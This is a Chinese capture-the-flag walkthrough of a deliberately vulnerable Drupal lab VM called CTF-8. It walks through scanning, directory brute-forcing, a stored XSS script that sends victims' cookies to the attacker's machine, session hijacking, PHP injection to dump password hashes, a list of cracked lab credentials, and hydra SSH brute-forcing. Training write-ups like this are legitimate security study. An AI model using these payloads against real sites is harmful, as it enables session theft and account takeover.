CTF-8 靶场夺旗

兵无常势,水无常形,能因敌而致胜者,谓之神

环境准备

VMware Workstation Pro12
Kali Linux (IP10.10.16.128CTF-8 虚拟机
NAT 网络连接

1. 主机发现

fping -asg 10.10.16.0/24

CTF-8 靶场夺旗_第1张图片
访问靶机 http://10.10.16.138
CTF-8 靶场夺旗_第2张图片
查看源代码,发现 flag
CTF-8 靶场夺旗_第3张图片

2. 端口扫描

nmap -A -v -sS -sV -p- -T4 10.10.16.138

CTF-8 靶场夺旗_第4张图片

3. 目录爆破

dirb http://10.10.16.138

CTF-8 靶场夺旗_第5张图片
所有用户都有一个ID(第一个是管理)。

http://10.10.16.138/user/1

CTF-8 靶场夺旗_第6张图片
所有页面都有一个ID(隐藏页有28个),访问第28个得到 flag

http://10.10.16.138/node/28

CTF-8 靶场夺旗_第7张图片
访问 robot.txt 和 phpinfo.php 分别得到两个 flag 。
CTF-8 靶场夺旗_第8张图片
CTF-8 靶场夺旗_第9张图片
浏览页面之后有一个 content 目录没能被扫出来,于是使用 dirb 再对目录爆破一遍,发现一个 hidden 文件,访问之后发现和前面 http://10.10.16.138/node/28 是同样的页面

dirb http://10.10.16.138/content

CTF-8 靶场夺旗_第10张图片

4. 漏洞挖掘

在首页文章下面的评论区插入 XSS 测试代码,再次访问这篇文章的时候就会触发 XSS 代码,出现如下弹框,说明此处存在 XSS 漏洞。
CTF-8 靶场夺旗_第11张图片
CTF-8 靶场夺旗_第12张图片

5. 漏洞利用

注册一个账户 zhutou ,然后以注册的账户登录,在评论区插入如下代码

<script>
var request=new XMLHttpRequest();
var redirect_url="http://10.10.16.128:4444/"+document.cookie;
request.open("GET",redirect_url);
request.send();
</script>

CTF-8 靶场夺旗_第13张图片
该脚本旨在获取访问该文章的用户的 session_id ,特别是本文作者 Barbara 的 session_id,所以,关键的一步还是要给作者留言,让他再次去访问这篇文章
CTF-8 靶场夺旗_第14张图片
在 Kali 快速搭建一个 http 服务,提供一个文件浏览的 web 服务(ctrl+c 关闭,不要使用 ctrl+z,那是停止,还没关闭端口,如果下次使用就会报错,提示端口被占用)
在这里插入图片描述
10.10.16.138 那一行就是 admin 的访问记录,带上管理员的 cookie 访问首页,发现用户变成了 steve
CTF-8 靶场夺旗_第15张图片
之后左上角选择再添加文章,在 Body 处添加如下脚本。


$result = db_query('select name,pass from users');
while($record = db_fetch_object($result))
{
print $record->name . ":" . $record->pass . "
"
; } ?>

CTF-8 靶场夺旗_第16张图片
关键的一步是在 input format 中选择 PHP code
CTF-8 靶场夺旗_第17张图片
同样,每操作一步都要使用 Steve 的 cookie ,不然会自动换成普通用户的 cookie。
CTF-8 靶场夺旗_第18张图片
CTF-8 靶场夺旗_第19张图片
密码重复使用是当今一个经常出现的问题。如果我们能破解这些散列我们可以重新使用相同的密码来获得对目标系统的 shell 访问。Drupal 使用 MD5 算法保存密码散列,该算法不是很强。我们也许可以使用暴力强制这些散列或使用字典查找某些值。

john -w=/usr/share/wordlists/rockyou.txt -form=raw-md5 zhutou.txt 

CTF-8 靶场夺旗_第20张图片
CTF-8 靶场夺旗_第21张图片
一个个去线上破解

admin:49265c16d1dff8acef3499bd889299d6(football123)
Barbara:bed128365216c019988915ed3add75fb(passw0rd)
Jim:2a5de0f53b1317f7e36afcdb6b5202a4(letmein!)
Steve:08d15a4aef553492d8971cdd5198f314(drupal)
Sherry:c3319d1016a802db86653bcfab871f4f(1website)
Gene:9b9e4bbd988954028a44710a50982576
Harvey:7d29975b78825ea7c27f5c0281ea2fa4
John:518462cd3292a67c755521c1fb50c909(4summer13)
Johnathan:6dc523ebd2379d96cc0af32e2d224db0(1loveU)
Susan:0d42223010b69cab86634bc359ed870b(BobMarley)
Dan:8f75ad3f04fc42f07c95e2f3d0ec3503(BaseballSeason)
George:ed2b1f468c5f915f3f1cf75d7068baae(12341234)
Jeff:ca594f739e257245f2be69eb546c1c04(sitepass)
Stacey:85aca385eb555fb6a36a62915ddd8bc7(Seventy70)
Juan:573152cc51de19df50e90b0e557db7fe(swanson)
Michael:c7a4476fc64b75ead800da9ea2b7d072(cherry)
Jerome:42248d4cb640a3fb5836571e254aee2b
Tom:971dcf53e88e9268714d9d504753d347(drupalpassword)
Xavier:3005d829eb819341357bfddf541c175b(thundercats)
Sally:7a1c07ff60f9c07ffe8da34ecbf4edc2(fantasy)
zhutou:a6b3342afdf0d87ce6d2ae8af29069e7

将以上的用户名对应的账号和密码分别保存在文本里。根据前面提到的,每一个用户在 user 目录下对应一个 ID ,用户名对应的账号查找如下:
CTF-8 靶场夺旗_第22张图片
使用 hydra(九头蛇)/medusa(美杜莎)进行 ssh 登录爆破。

hydra -L user.txt -P passwd.txt -t 10 ssh://10.10.16.138

CTF-8 靶场夺旗_第23张图片
使用第一个帐密登录得到两个 flag 并成功提权。
CTF-8 靶场夺旗_第24张图片
进入家目录,查看其他用户,在其他用户目录下都发现了 flag 。
CTF-8 靶场夺旗_第25张图片

                                                                                                                        猪头 
                                                                                                                     2020.2.23

你可能感兴趣的:(CTF)